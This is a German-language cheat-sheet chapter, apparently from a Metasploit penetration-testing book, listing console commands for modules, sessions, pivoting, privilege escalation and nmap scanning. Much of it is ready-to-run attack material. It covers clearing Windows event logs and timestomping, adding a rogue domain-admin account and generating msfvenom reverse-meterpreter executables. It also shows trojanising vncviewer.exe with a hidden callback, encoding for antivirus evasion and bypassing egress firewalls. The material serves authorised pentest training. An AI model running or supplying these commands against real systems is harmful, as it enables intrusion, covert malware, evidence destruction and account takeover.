13 Cheat Sheet

Dieses Kapitel stellt eine Zusammenfassung der häufigsten Tätigkeiten und verwendeten Befehle in Kurzform dar. Diese Darstellung ist nicht vollständig und soll Ihnen in erster Linie wichtige Anhaltspunkte und eine Kurzübersicht für eigene Tests geben.

13.1 Vorbereitungsarbeiten und Bedienung des Frameworks

Die folgende Darstellung zeigt grundlegende Befehle, um mit dem Framework zu interagieren und es zu konfigurieren.

13.1.1 Datastores

Metasploit umfasst den lokalen und globalen Datastore. Mit folgenden Befehlen lassen sich diese Datastores ansprechen und abfragen.

Abfrage des lokalen Datastores

```
msf > set
```

Abfrage des globalen Datastores

```
msf > setg
```

Setzen einer globalen Option

```
msf > setg RHOST 10.1.1.1
```

Bestehende Optionen zurücksetzen

```
msf > unset RHOST
```

13.1.2 Datenbankabfragen im Rahmen eines Penetrationstests

Folgende Datenbankabfragen werden bei Pentests zur Abfrage der bereits eingeholten Informationen genutzt:

```
msf > hosts
msf > notes
msf > services
msf > vulns
msf > creds
```

13.1.3 Workspaces verwalten

Mit Workspaces ist es möglich, unterschiedliche Projekte bzw. Teilprojekte zu strukturieren bzw. zu verwalten:

Workspace hinzufügen

```
msf > workspace -a internal-pentest
```

In einen Workspace wechseln

```
msf > workspace internal-pentest
```

Workspaces anzeigen

```
msf > workspace
```

Workspace löschen

```
msf > workspace -d internal-pentest
```

13.1.4 Logging aktivieren

Folgende Kommandos aktivieren und konfigurieren die Logging-Funktionen der Metasploit-Konsole:

```
msf > set ConsoleLogging yes
msf > set SessionLogging yes
msf > set TimestampOutput yes
msf > set LogLevel 5
msf > spool /root/.msf5/logs/console.log
```

Einstellungen speichern

```
msf > save
```

Weitere Befehle, die beim Start der Metasploit-Konsole ausgeführt werden sollen, können in der Datei `~/.msf5/msfconsole.rc` hinterlegt werden.

13.1.5 Metasploit-Ergebnisse exportieren

Im Anschluss an einen Pentest müssen die Ergebnisse sauber archiviert werden. Metasploit bietet hierfür eine einfache Export-Funktion:

```
msf > db_export -h
Usage:
    db_export -f <format> [-a] [filename]
    Format can be one of: xml, pwdump
[-] No output file was specified

msf > db_export -f xml msf-export.xml
```

13.2 Anwendung eines Moduls

Metasploit umfasst eine hohe Anzahl unterschiedlicher Module. Neben den typischen Exploits umfasst Metasploit auch Auxiliary- und Post-Exploitation-Module.

Suchfunktion

Einfache Suche nach einem Auxiliary-Modul und einem Suchbegriff:

```
msf > search type:auxiliary <Suchbegriff>
```

Hier sollte unbedingt die Hilfsfunktion von `search` herangezogen werden.

Ein Modul auswählen

Um ein Modul anzuwenden, muss dieses mit dem `use`-Befehl ausgewählt werden.

```
msf > use auxiliary/scanner/http/MODUL
```

Mögliche Optionen anzeigen und setzen

Die unterschiedlichen Module bieten umfangreiche Informationen und Optionen an. Mit den Befehlen `info` und `show options` lassen sich diese Informationen abfragen und anschließend mit `set` konfigurieren.

```
msf auxiliary(enum_wayback) > info
msf auxiliary(enum_wayback) > show options
msf auxiliary(enum_wayback) > show advanced
msf auxiliary(enum_wayback) > set DOMAIN metasploit.com
msf auxiliary(enum_wayback) > set OUTFILE wayback-metasploit.com
```

Payloads, Encoder und weitere Möglichkeiten eines Moduls anzeigen

```
msf exploit(ms08_067_netapi) > show payloads
msf exploit(ms08_067_netapi) > show encoder
msf exploit(ms08_067_netapi) > show targets
```

Module anwenden

Auxiliary-Module nutzen den Befehl `run`, um zur Ausführung gebracht zu werden. Exploits werden mit `exploit` angewendet.

```
msf auxiliary(enum_wayback) > run
msf exploit(ms08_067_netapi) > exploit
```

Checkfunktion von Exploits

Manche Exploits weisen eine Funktion zur Überprüfung der Verwundbarkeit eines Zielsystems auf. Diese Funktion wird über das `check`-Kommando realisiert.

```
msf exploit(ms08_067_netapi) > check
```

Mehrere Hosts lassen sich folgendermaßen prüfen:

```
msf exploit(ms08_067_netapi) > check 10.1.1.0/24
msf exploit(ms08_067_netapi) > check 10.1.1.1-10.1.1.100
```

13.2.1 Session-Management

War es möglich, eine oder mehrere Sessions zu erlangen, müssen diese effektiv verwaltet werden. Metasploit bietet hierfür ein umfangreiches Session-Management in Form des `sessions`-Kommandos an.

Details aller Sessions anzeigen

```
msf > sessions –v
```

In eine Session wechseln

```
msf > sessions -i <Session ID>
```

Auf allen Sessions einen Befehl absetzen

```
msf > sessions -c ipconfig
```

Auf allen Sessions ein Post-Exploitation-Modul absetzen

```
msf > sessions -s checkvm
```

13.3 Post-Exploitation-Phase

Post-Exploitation-Module suchen

```
msf > search type:post
```

Post-Exploitation-Module innerhalb einer Meterpreter-Session anwenden

```
meterpreter > run <Tab>+<Tab>
meterpreter > run <Modulpfad+Modulname>
```

Post-Exploitation-Module außerhalb einer Meterpreter-Session anwenden

```
msf > use <Modul>
msf > show options
msf > set <Option>
msf > run
```

13.3.1 Spuren verwischen

Windows Enumeration

```
meterpreter > run winenum -h
    -c        Change Access, Modified and Created times of
              executables that were run on the target machine and
              clear the EventLog
```

Event-Manager-Modul

```
meterpreter > run event_manager -h
    -c <opt>  Clear a given Event Log (or ALL if no argument
              specified)
```

Timestomp

Anzeigen der MACE-Zeiten:

```
meterpreter > timestomp ping.exe –v
```

Anpassen der MACE-Zeiten:

```
meterpreter > timestomp ping.exe -a "02/24/2011 16:57:50"
```

13.3.2 Pivoting bzw. in weitere Netzwerke vordringen

```
meterpreter > run netenum -ps -r 192.168.111.0/24
meterpreter > run arp_scanner -r 192.168.111.0/24
```

Portforwarding

Port 3389 von Host 192.168.111.50 auf das lokale System unter Port 3389 weiterleiten:

```
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.111.50
meterpreter > portfwd list
```

Routen einrichten

Eine statische Route innerhalb von Metasploit einrichten:

```
msf > route add 192.168.111.0 255.255.255.0 5
```

Das dargestellte Kommando richtet eine Route in das Netz 192.168.111.0/24 über die Session Nummer 5 ein.

```
msf > route print
```

Automatisches Einrichten von neuen Routen

```
msf > load auto_add_route
```

```
meterpreter > run autoroute -s 192.168.111.0/24
```

13.3.3 Lokale Privilege Escalation

Metasploit bietet unterschiedliche Möglichkeiten, um auf Windows-Systemen die Privilegien zu erweitern. Zu diesen zählen neben dem `getsystem`-Kommando, welche administrative Shells mit SYSTEM-Berechtigungen ausstattet, auch weitere Post-Exploitation-Module.

```
meterpreter > use priv
meterpreter > getsystem -h
OPTIONS:
    -t <opt>  The technique to use. (Default to '0').
                0 : All techniques available
                1 : Service - Named Pipe Impersonation (In Memory/Admin)
                2 : Service - Named Pipe Impersonation (Dropper/Admin)
                3 : Service - Token Duplication (In Memory/Admin)
```

Weitere Module

Folgende Post-Exploitation-Module helfen bei der Erweiterung der erlangten Privilegien:

```
post/windows/escalate/bypassuac
post/windows/escalate/ms10_073_kbdlayout
post/windows/escalate/ms10_092_schelevator
post/windows/escalate/net_runtime_modify
post/windows/escalate/screen_unlock
post/windows/escalate/service_permissions
```

13.3.4 Domain Privilege Escalation

Die Metasploit-Erweiterung Incognito, die in Form eines Plugins realisiert ist, unterstützt den Pentester bei der Ausweitung der Privilegien in die Windows-Domäne.

```
meterpreter > use incognito
meterpreter > list_tokens –u
meterpreter > impersonate_token DOMAIN\\administrator
```

Windows-Domain-Benutzer auf der Windows Shell anlegen

Folgende net-Kommandos sind überaus hilfreich wenn eine Eskalation der Privilegien bis auf Domänenebene durchgeführt wird.

```
C:\WINNT\system32>net user metasploit PASSWORD /add /domain

C:\WINNT\system32>net group Organisations-Admins metasploit /add /domain
```

13.4 Automatisierungsmechanismen

Metasploit bietet umfassende Möglichkeiten, Tätigkeiten der unterschiedlichen Pentesting-Phasen zu automatisieren.

Nmap-Scanergebnisse in Metasploit importieren

Werden Nmap-Scans im XML-Format gespeichert, lassen sich diese mit dem db_import-Kommando in die Metasploit-Datenbank importieren.

```
root@bt:~# nmap -v -sSV -A 10.8.28.0/24 -oX nmap-10.8.28.0.xml
msf > db_import /root/nmap-10.8.28.0.xml
```

Nmap innerhalb der Metasploit-Konsole ausführen

```
msf > db_nmap –v -sSV -p445 10.8.28.0/24
```

Nessus-Erweiterung einsetzen

Metasploit ermöglicht die Kontrolle eines Nessus-Vulnerability-Scanners. Dies wird über ein Plugin, welches einen umfangreichen, neuen Befehlssatz nachlädt, realisiert.

```
msf > load nessus
msf > nessus_help
msf > nessus_connect USER:PASS@127.0.0.1 ok
msf > nessus_policy_list
msf > nessus_scan_new -4 test-nessus-scan 10.8.28.0/24
msf > nessus_server_status
msf > nessus_scan_status
```

```
msf > nessus_report_list
msf > nessus_report_hosts xxx
msf > nessus_report_exploits
msf > nessus_report_exploits xxx
msf > nessus_report_get
msf > nessus_report_get <ID>
```

NeXpose-Erweiterung einsetzen

Neben der vollständigen Einbindung des Nessus-Vulnerability-Scanners bietet das NeXpose-Plugin ähnliche Funktionen für den NeXpose-Vulnerability-Scanner.

```
msf > load nexpose
msf > nexpose_connect nxadmin:m1k3@10.8.28.7 ok
msf > nexpose_activity
msf > nexpose_scan -d -P -v -I 10.8.28.210-244
msf > nexpose_sites
msf > nexpose_site_devices <ID>
msf > nexpose_site_import <ID>
```

13.5 Nmap Cheat Sheet

Nmap kommt bei nahezu allen Pentests zum Einsatz. Dieser Portscanner bietet neben Portscanning-Funktionen umfangreiche weitere Möglichkeiten einer Anwendung.

Einfacher Synscan

```
nmap –sS 192.168.1.1
```

Einfacher Synscan auf Basis einer Adressliste, die aus einer Textdatei geladen wird

```
nmap –sS –iL /root/Nmap-Scanfile.txt
```

Synscan im Verbose-Mode

```
nmap –v –sS 192.168.1.1
```

Synscan über alle 65535 Ports

```
nmap –v –sS –p0-65535 192.168.1.1
```

Synscan mit Erkennung des Betriebssystems

```
nmap –v –sS –O 192.168.1.1
```

Portscan mit Erkennung des Betriebssystems, der Serviceversionen, Durchführung eines Traceroute und des Skriptscans

```
nmap –v –sS -A 192.168.1.1
```

Portscan auf Port 445 mit dem Einsatz des NSE-Skripts zur Erkennung diverser Schwachstellen

```
nmap -p445 --script=smb-vuln-* 10.8.28.0/24
```

Portscan auf alle Ports, mit OS-Detection, Service Detection und allen Skripten

```
nmap –v –sSV -O --script=all –p0-65535 192.168.1.1
```

13.6 Client-Side Attacks

13.6.1 Trojanisieren einer bestehenden Applikation und AV Evading

Metasploit bietet mit msfvenom ein mächtiges Tool, um Payloads in eine ausführbare Datei zu integrieren. Zudem ist eine Kombination mit Encodern denkbar, die es ermöglichen, unterschiedlichste Schutzmechanismen zu umgehen.

Payload-Optionen anzeigen

```
# msfvenom -p windows/meterpreter/reverse_tcp -o
```

Windows Binary erstellen

```
# msfvenom -p windows/meterpreter/reverse_tcp LPORT=443 LHOST=10.8.28.7 -f exe >
msf-reverse-tcp.exe
```

Diese ausführbare Datei lässt sich auf einem Windows-System ausführen und baut eine Meterpreter-Verbindung zum Metasploit-System mit der IP 10.8.28.7 auf. Auf diesem System muss für die Annahme der Verbindung ein Multi-Handler gestartet werden.

Payload erstellen und Encoding-Funktionalität nutzen

Das folgende Kommando baut eine Reverse-Meterpreter Shell in ein bestehendes Executable ein. Diese Exe-Datei ist weiterhin voll funktionsfähig, führt aber im Hintergrund einen Verbindungsaufbau zum Pentester durch.

```
# msfvenom -p windows/meterpreter/reverse_tcp LPORT=443 LHOST=192.168.56.101 -e
generic/none -x /usr/share/windows_binaries/vncviewer.exe -k -f exe > msf-reverse-
tcp_template.exe
```

13.6.2 Ein restriktives Firewall-Regelwerk umgehen

Aktuelle Netzwerkstrukturen nutzen Sicherheitsmechanismen wie Netzentkopplung, die keine direkte Verbindung von internen Systemen in das Internet zulassen.

Meterpreter HTTP-Payloads

```
msf > search path:meterpreter platform:windows _http
```

Die HTTP-Payloads nutzen die vorhandenen Proxy-Einstellungen auf Windows-Systemen.

Alternative: alle Ports testen (bzw. der letzte Ausweg)

Die Payloads `reverse_tcp_allports` ermöglichen den Test des ausgehenden Firewall-Regelwerkes. Dabei wird sozusagen ein Portscan von innen nach außen durchgeführt, und falls ein Regelwerk Lücken aufweist, werden diese Lücken mit diesen Payloads erkannt und ermöglichen einen Aufbau der Payload-Verbindung.

Iptables Einstellungen auf der Metasploit-Maschine:

```
root@bt:/MSF-Path/msf3# iptables -t nat -I PREROUTING -p tcp -m state --state NEW -
d 10.8.28.8 -j DNAT --to 10.8.28.8:4444
```

```
root@bt:/MSF-Path/msf3# iptables -L -t nat
```

Auf Port 4444 muss ein passender Multi-Handler konfiguriert werden.

Erstellen eines Test-Payloads:

```
# msfvenom -p windows/meterpreter/reverse_tcp_allports LPORT=1 LHOST=10.8.28.7 -f
exe > msf-reverse-tcp_allports.exe
```